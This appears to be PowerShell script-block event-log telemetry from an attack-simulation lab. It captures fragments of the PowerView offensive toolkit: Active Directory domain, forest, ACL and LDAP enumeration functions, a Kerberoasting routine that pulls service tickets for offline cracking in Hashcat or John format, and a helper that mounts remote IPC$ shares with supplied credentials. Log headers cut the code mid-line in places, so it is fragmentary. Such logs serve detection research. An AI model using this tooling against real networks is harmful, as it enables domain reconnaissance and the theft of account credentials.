[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
}
catch {
Write-Verbose "[Get-Domain] The specified domain '$TargetDomain' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_"
}
}
elseif ($PSBoundParameters['Domain']) {
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
try {
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
}
catch {
Write-Verbose "[Get-Domain] The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust : $_"
}
}
else {
try {
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
}
catch {
Write-Verbose "[Get-Domain] Error retrieving the current domain: $_"
}
}
}
}
function Get-DomainController {
<#
.SYNOPSIS
Return the domain controllers for the current (or specified) domain.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer, Get-Domain
.DESCRIPTION
Enumerates the domain controllers for the current or specified domain.
By default built in .NET methods are used. The -LDAP switch uses Get-DomainComputer
to search for domain controllers.
.PARAMETER Domain
The domain to query for domain controllers, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER LDAP
Switch. Use LDAP queries to determine the domain controllers instead of built in .NET methods.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainController -Domain 'test.local'
Determine the domain controllers for 'test.local'.
.EXAMPLE
Get-DomainController -Domain 'test.local' -LDAP
Determine the domain controllers for 'test.local' using LDAP queries.
.EXAMPLE
'test.local' | Get-DomainController
Determine the domain controllers for 'test.local'.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainController -Credential $Cred
.OUTPUTS
PowerView.Computer
Outputs custom PSObjects with details about the enumerated domain controller if -LDAP is specified.
System.DirectoryServices.ActiveDirectory.DomainController
If -LDAP isn't specified.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.Computer')]
[OutputType('System.DirectoryServices.ActiveDirectory.DomainController')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[Switch]
$LDAP,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
$Arguments = @{}
if ($PSBoundParameters['Domain']) { $Arguments['Domain'] = $Domain }
if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }
if ($PSBoundParameters['LDAP'] -or $PSBoundParameters['Server']) {
if ($PSBoundParameters['Server']) { $Arguments['Server'] = $Server }
# UAC specification for domain controllers
$Arguments['LDAPFilter'] = '(userAccountControl:1.2.840.113556.1.4.803:=8192)'
Get-DomainComputer @Arguments
}
else {
$FoundDomain = Get-Domain @Arguments
if ($FoundDomain) {
$FoundDomain.DomainControllers
}
}
}
}
function Get-Forest {
<#
.SYNOPSIS
Returns the forest object for the current (or specified) forest.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: ConvertTo-SID
.DESCRIPTION
Returns a System.DirectoryServices.ActiveDirectory.Forest object for the current
forest or the forest specified with -Forest X.
.PARAMETER Forest
The forest name to query for, defaults to the current forest.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target forest.
.EXAMPLE
Get-Forest -Forest external.domain
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-Forest -Credential $Cred
.OUTPUTS
System.Management.Automation.PSCustomObject
Outputs a PSObject containing System.DirectoryServices.ActiveDirectory.Forest in addition
to the forest root domain SID.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.Management.Automation.PSCustomObject')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Forest,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
if ($PSBoundParameters['Credential']) {
Write-Verbose "[Get-Forest] Using alternate credentials for Get-Forest"
if ($PSBoundParameters['Forest']) {
$TargetForest = $Forest
}
else {
# if no domain is supplied, extract the logon domain from the PSCredential passed
$TargetForest = $Credential.GetNetworkCredential().Domain
Write-Verbose "[Get-Forest] Extracted domain '$Forest' from -Credential"
}
$ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $TargetForest, $Credential.UserName, $Credential.GetNetworkCredential().Password)
try {
$ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
}
catch {
Write-Verbose "[Get-Forest] The specified forest '$TargetForest' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_"
$Null
}
}
elseif ($PSBoundParameters['Forest']) {
$ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest)
try {
$ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
}
catch {
Write-Verbose "[Get-Forest] The specified forest '$Forest' does not exist, could not be contacted, or there isn't an existing trust: $_"
return $Null
}
}
else {
# otherwise use the current forest
$ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
}
if ($ForestObject) {
# get the SID of the forest root
if ($PSBoundParameters['Credential']) {
$ForestSid = (Get-DomainUser -Identity "krbtgt" -Domain $ForestObject.RootDomain.Name -Credential $Credential).objectsid
}
else {
$ForestSid = (Get-DomainUser -Identity "krbtgt" -Domain $ForestObject.RootDomain.Name).objectsid
}
$Parts = $ForestSid -Split '-'
$ForestSid = $Parts[0..$($Parts.length-2)] -join '-'
$ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid
$ForestObject
}
}
}
function Get-ForestDomain {
<#
.SYNOPSIS
Return all domains for the current (or specified) forest.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Forest
.DESCRIPTION
Returns all domains for the current forest or the forest specified
by -Forest X.
.PARAMETER Forest
Specifies the forest name to query for domains.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target forest.
.EXAMPLE
Get-ForestDomain
.EXAMPLE
Get-ForestDomain -Forest external.local
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-ForestDomain -Credential $Cred
.OUTPUTS
System.DirectoryServices.ActiveDirectory.Domain
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.DirectoryServices.ActiveDirectory.Domain')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Forest,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
$Arguments = @{}
if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest }
if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }
$ForestObject = Get-Forest @Arguments
if ($ForestObject) {
$ForestObject.Domains
}
}
}
function Get-ForestGlobalCatalog {
<#
.SYNOPSIS
Return all global catalogs for the current (or specified) forest.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Forest
.DESCRIPTION
Returns all global catalogs for the current forest or the forest specified
by -Forest X by using Get-Forest to retrieve the specified forest object
and the .FindAllGlobalCatalogs() to enumerate the global catalogs.
.PARAMETER Forest
Specifies the forest name to query for global catalogs.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-ForestGlobalCatalog
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-ForestGlobalCatalog -Credential $Cred
.OUTPUTS
System.DirectoryServices.ActiveDirectory.GlobalCatalog
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.DirectoryServices.ActiveDirectory.GlobalCatalog')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Forest,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
$Arguments = @{}
if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest }
if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }
$ForestObject = Get-Forest @Arguments
if ($ForestObject) {
$ForestObject.FindAllGlobalCatalogs()
}
}
}
function Get-ForestSchemaClass {
<#
.SYNOPSIS
Helper that returns the Active Directory schema classes for the current
(or specified) forest or returns just the schema class specified by
-ClassName X.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Forest
.DESCRIPTION
Uses Get-Forest to retrieve the current (or specified) forest. By default,
the .FindAllClasses() method is executed, returning a collection of
[DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass] results.
If "-FindClass X" is specified, the [DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass]
result for the specified class name is returned.
.PARAMETER ClassName
Specifies a ActiveDirectorySchemaClass name in the found schema to return.
.PARAMETER Forest
The forest to query for the schema, defaults to the current forest.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-ForestSchemaClass
Returns all domain schema classes for the current forest.
.EXAMPLE
Get-ForestSchemaClass -Forest dev.testlab.local
Returns all domain schema classes for the external.local forest.
.EXAMPLE
Get-ForestSchemaClass -ClassName user -Forest external.local
Returns the user schema class for the external.local domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-ForestSchemaClass -ClassName user -Forest external.local -Credential $Cred
Returns the user schema class for the external.local domain using
the specified alternate credentials.
.OUTPUTS
[DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass]
An ActiveDirectorySchemaClass returned from the found schema.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([System.DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass])]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[Alias('Class')]
[ValidateNotNullOrEmpty()]
[String[]]
$ClassName,
[Alias('Name')]
[ValidateNotNullOrEmpty()]
[String]
$Forest,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
$Arguments = @{}
if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest }
if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }
$ForestObject = Get-Forest @Arguments
if ($ForestObject) {
if ($PSBoundParameters['ClassName']) {
ForEach ($TargetClass in $ClassName) {
$ForestObject.Schema.FindClass($TargetClass)
}
}
else {
$ForestObject.Schema.FindAllClasses()
}
}
}
}
function Find-DomainObjectPropertyOutlier {
<#
.SYNOPSIS
Finds user/group/computer objects in AD that have 'outlier' properties set.
Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: Get-Domain, Get-DomainUser, Get-DomainGroup, Get-DomainComputer
.DESCRIPTION
A 'reference' set of property names is calculated, either from a standard set preserved
for user/group/computers, or from the array of names passed to -ReferencePropertySet, or
from the property names of the passed -ReferenceObject. Every user/group/computer object
(depending on determined class) are enumerated, and for each object, if the object has a
'non-standard' property set (meaning a property not held by the reference set), the object's
samAccountName, property name, and property value are output to the pipeline.
.PARAMETER ClassName
Specifies the AD object class to find property outliers for, 'user', 'group', or 'computer'.
If -ReferenceObject is specified, this will be automatically extracted, if possible.
.PARAMETER ReferencePropertySet
Specifies an array of property names to diff against the class schema.
.PARAMETER ReferenceObject
Specicifes the PowerView user/group/computer object to extract property names
from to use as the reference set.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to b68aa9e3-754f-4d69-962b-40f9a6518a15
4104132150x0109892Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local641 [Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[ValidateSet('John', 'Hashcat')]
[Alias('Format')]
[String]
$OutputFormat = 'Hashcat',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$UserSearcherArguments = @{
'SPN' = $True
'Properties' = 'samaccountname,distinguishedname,serviceprincipalname'
}
if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['LDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $UserSearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['Credential']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
}
PROCESS {
if ($PSBoundParameters['Identity']) { $UserSearcherArguments['Identity'] = $Identity }
Get-DomainUser @UserSearcherArguments | Where-Object {$_.samaccountname -ne 'krbtgt'} | Get-DomainSPNTicket -OutputFormat $OutputFormat
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Get-PathAcl {
<#
.SYNOPSIS
Enumerates the ACL for a given file path.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertFrom-SID
.DESCRIPTION
Enumerates the ACL for a specified file/folder path, and translates
the access rules for each entry into readable formats. If -Credential is passed,
Add-RemoteConnection/Remove-RemoteConnection is used to temporarily map the remote share.
.PARAMETER Path
Specifies the local or remote path to enumerate the ACLs for.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target path.
.EXAMPLE
Get-PathAcl "\\SERVER\Share\"
Returns ACLs for the given UNC share.
.EXAMPLE
gci .\test.txt | Get-PathAcl
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword)
Get-PathAcl -Path "\\SERVER\Share\" -Credential $Cred
.INPUTS
String
One of more paths to enumerate ACLs for.
.OUTPUTS
PowerView.FileACL
A custom object with the full path and associated ACL entries.
.LINK
https://support.microsoft.com/en-us/kb/305144
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.FileACL')]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('FullName')]
[String[]]
$Path,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
function Convert-FileRight {
# From Ansgar Wiechers at http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights
[CmdletBinding()]
Param(
[Int]
$FSR
)
$AccessMask = @{
[uint32]'0x80000000' = 'GenericRead'
[uint32]'0x40000000' = 'GenericWrite'
[uint32]'0x20000000' = 'GenericExecute'
[uint32]'0x10000000' = 'GenericAll'
[uint32]'0x02000000' = 'MaximumAllowed'
[uint32]'0x01000000' = 'AccessSystemSecurity'
[uint32]'0x00100000' = 'Synchronize'
[uint32]'0x00080000' = 'WriteOwner'
[uint32]'0x00040000' = 'WriteDAC'
[uint32]'0x00020000' = 'ReadControl'
[uint32]'0x00010000' = 'Delete'
[uint32]'0x00000100' = 'WriteAttributes'
[uint32]'0x00000080' = 'ReadAttributes'
[uint32]'0x00000040' = 'DeleteChild'
[uint32]'0x00000020' = 'Execute/Traverse'
[uint32]'0x00000010' = 'WriteExtendedAttributes'
[uint32]'0x00000008' = 'ReadExtendedAttributes'
[uint32]'0x00000004' = 'AppendData/AddSubdirectory'
[uint32]'0x00000002' = 'WriteData/AddFile'
[uint32]'0x00000001' = 'ReadData/ListDirectory'
}
$SimplePermissions = @{
[uint32]'0x1f01ff' = 'FullControl'
[uint32]'0x0301bf' = 'Modify'
[uint32]'0x0200a9' = 'ReadAndExecute'
[uint32]'0x02019f' = 'ReadAndWrite'
[uint32]'0x020089' = 'Read'
[uint32]'0x000116' = 'Write'
}
$Permissions = @()
# get simple permission
$Permissions += $SimplePermissions.Keys | ForEach-Object {
if (($FSR -band $_) -eq $_) {
$SimplePermissions[$_]
$FSR = $FSR -band (-not $_)
}
}
# get remaining extended permissions
$Permissions += $AccessMask.Keys | Where-Object { $FSR -band $_ } | ForEach-Object { $AccessMask[$_] }
($Permissions | Where-Object {$_}) -join ','
}
$ConvertArguments = @{}
if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential }
$MappedComputers = @{}
}
PROCESS {
ForEach ($TargetPath in $Path) {
try {
if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
$HostComputer = (New-Object System.Uri($TargetPath)).Host
if (-not $MappedComputers[$HostComputer]) {
# map IPC$ to this computer if it's not already
Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential
$MappedComputers[$HostComputer] = $True
}
}
$ACL = Get-Acl -Path $TargetPath
$ACL.GetAccessRules($True, $True, [System.Security.Principal.SecurityIdentifier]) | ForEach-Object {
$SID = $_.IdentityReference.Value
$Name = ConvertFrom-SID -ObjectSID $SID @ConvertArguments
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'Path' $TargetPath
$Out | Add-Member Noteproperty 'FileSystemRights' (Convert-FileRight -FSR $_.FileSystemRights.value__)
$Out | Add-Member Noteproperty 'IdentityReference' $Name
$Out | Add-Member Noteproperty 'IdentitySID' $SID
$Out | Add-Member Noteproperty 'AccessControlType' $_.AccessControlType
$Out.PSObject.TypeNames.Insert(0, 'PowerView.FileACL')
$Out
}
}
catch {
Write-Verbose "[Get-PathAcl] error: $_"
}
}
}
END {
# remove the IPC$ mappings
$MappedComputers.Keys | Remove-RemoteConnection
}
}
function Convert-LDAPProperty {
<#
.SYNOPSIS
Helper that converts specific LDAP property result fields and outputs
a custom psobject.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Converts a set of raw LDAP properties results from ADSI/LDAP searches
into a proper PSObject. Used by several of the Get-Domain* function.
.PARAMETER Properties
Properties object to extract out LDAP fields for display.
.OUTPUTS
System.Management.Automation.PSCustomObject
A custom PSObject with LDAP hashtable properties translated.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.Management.Automation.PSCustomObject')]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
$Properties
)
$ObjectProperties = @{}
$Properties.PropertyNames | ForEach-Object {
if ($_ -ne 'adspath') {
if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory')) {
# convert all listed sids (i.e. if multiple are listed in sidHistory)
$ObjectProperties[$_] = $Properties[$_] | ForEach-Object { (New-Object System.Security.Principal.SecurityIdentifier($_, 0)).Value }
}
elseif ($_ -eq 'grouptype') {
$ObjectProperties[$_] = $Properties[$_][0] -as $GroupTypeEnum
}
elseif ($_ -eq 'samaccounttype') {
$ObjectProperties[$_] = $Properties[$_][0] -as $SamAccountTypeEnum
}
elseif ($_ -eq 'objectguid') {
# convert the GUID to a string
$ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid
}
elseif ($_ -eq 'useraccountcontrol') {
$ObjectProperties[$_] = $Properties[$_][0] -as $UACEnum
}
elseif ($_ -eq 'ntsecuritydescriptor') {
# $ObjectProperties[$_] = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0
if ($Descriptor.Owner) {
$ObjectProperties['Owner'] = $Descriptor.Owner
}
if ($Descriptor.Group) {
$ObjectProperties['Group'] = $Descriptor.Group
}
if ($Descriptor.DiscretionaryAcl) {
$ObjectProperties['DiscretionaryAcl'] = $Descriptor.DiscretionaryAcl
}
if ($Descriptor.SystemAcl) {
$ObjectProperties['SystemAcl'] = $Descriptor.SystemAcl
}
}
elseif ($_ -eq 'accountexpires') {
if ($Properties[$_][0] -gt [DateTime]::MaxValue.Ticks) {
$ObjectProperties[$_] = "NEVER"
}
else {
$ObjectProperties[$_] = [datetime]::fromfiletime($Properties[$_][0])
}
}
elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') ) {
# convert timestamps
if ($Properties[$_][0] -is [System.MarshalByRefObject]) {
# if we have a System.__ComObject
$Temp = $Properties[$_][0]
[Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
[Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
$ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low)))
}
else {
# otherwise just a string
$ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0])))
}
}
elseif ($Properties[$_][0] -is [System.MarshalByRefObject]) {
# try to convert misc com objects
$Prop = $Properties[$_]
try {
$Temp = $Prop[$_][0]
[Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
[Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
$ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low)
}
catch {
Write-Verbose "[Convert-LDAPProperty] error: $_"
$ObjectProperties[$_] = $Prop[$_]
}
}
elseif ($Properties[$_].count -eq 1) {
$ObjectProperties[$_] = $Properties[$_][0]
}
else {
$ObjectProperties[$_] = $Properties[$_]
}
}
}
try {
New-Object -TypeName PSObject -Property $ObjectProperties
}
catch {
Write-Warning "[Convert-LDAPProperty] Error parsing LDAP properties : $_"
}
}
########################################################
#
# Domain info functions below.
#
########################################################
function Get-DomainSearcher {
<#
.SYNOPSIS
Helper used by various functions that builds a custom AD searcher object.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Domain
.DESCRIPTION
Takes a given domain and a number of customizations and returns a
System.DirectoryServices.DirectorySearcher object. This function is used
heavily by other LDAP/ADSI searcher functions (Verb-Domain*).
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER SearchBasePrefix
Specifies a prefix for the LDAP search string (i.e. "CN=Sites,CN=Configuration").
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to for the search.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainSearcher -Domain testlab.local
Return a searcher for all objects in testlab.local.
.EXAMPLE
Get-DomainSearcher -Domain testlab.local -LDAPFilter '(samAccountType=805306368)' -Properties 'SamAccountName,lastlogon'
Return a searcher for user objects in testlab.local and only return the SamAccountName and LastLogon properties.
.EXAMPLE
Get-DomainSearcher -SearchBase "LDAP://OU=secret,DC=testlab,DC=local"
Return a searcher that searches through the specific ADS/LDAP search base (i.e. OU).
.OUTPUTS
System.DirectoryServices.DirectorySearcher
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.DirectoryServices.DirectorySearcher')]
[CmdletBinding()]
Param(
[Parameter(ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[String]
$SearchBasePrefix,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit = 120,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
if ($PSBoundParameters['Domain']) {
$TargetDomain = $Domain
if ($ENV:USERDNSDOMAIN -and ($ENV:USERDNSDOMAIN.Trim() -ne '')) {
# see if we can grab the user DNS logon domain from environment variables
$UserDomain = $ENV:USERDNSDOMAIN
if ($ENV:LOGONSERVER -and ($ENV:LOGONSERVER.Trim() -ne '') -and $UserDomain) {
$BindServer = "$($ENV:LOGONSERVER -replace '\\','').$UserDomain"
}
}
}
elseif ($PSBoundParameters['Credential']) {
# if not -Domain is specified, but -Credential is, try to retrieve the current domain name with Get-Domain
$DomainObject = Get-Domain -Credential $Credential
$BindServer = ($DomainObject.PdcRoleOwner).Name
$TargetDomain = $DomainObject.Name
}
elseif ($ENV:USERDNSDOMAIN -and ($ENV:USERDNSDOMAIN.Trim() -ne '')) {
# see if we can grab the user DNS logon domain from environment variables
$TargetDomain = $ENV:USERDNSDOMAIN
if ($ENV:LOGONSERVER -and ($ENV:LOGONSERVER.Trim() -ne '') -and $TargetDomain) {
$BindServer = "$($ENV:LOGONSERVER -replace '\\','').$TargetDomain"
}
}
else {
# otherwise, resort to Get-Domain to retrieve the current domain object
write-verbose "get-domain"
$DomainObject = Get-Domain
$BindServer = ($DomainObject.PdcRoleOwner).Name
$TargetDomain = $DomainObject.Name
}
if ($PSBoundParameters['Server']) {
# if there's not a specified server tob68aa9e3-754f-4d69-962b-40f9a6518a15
4104132150x0109891Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local541uterName']) {
ForEach ($TargetComputerName in $ComputerName) {
$TargetComputerName = $TargetComputerName.Trim('\')
$Paths += ,"\\$TargetComputerName\IPC$"
}
}
else {
$Paths += ,$Path
}
ForEach ($TargetPath in $Paths) {
$NetResourceInstance.lpRemoteName = $TargetPath
Write-Verbose "[Add-RemoteConnection] Attempting to mount: $TargetPath"
# https://msdn.microsoft.com/en-us/library/windows/desktop/aa385413(v=vs.85).aspx
# CONNECT_TEMPORARY = 4
$Result = $Mpr::WNetAddConnection2W($NetResourceInstance, $Credential.GetNetworkCredential().Password, $Credential.UserName, 4)
if ($Result -eq 0) {
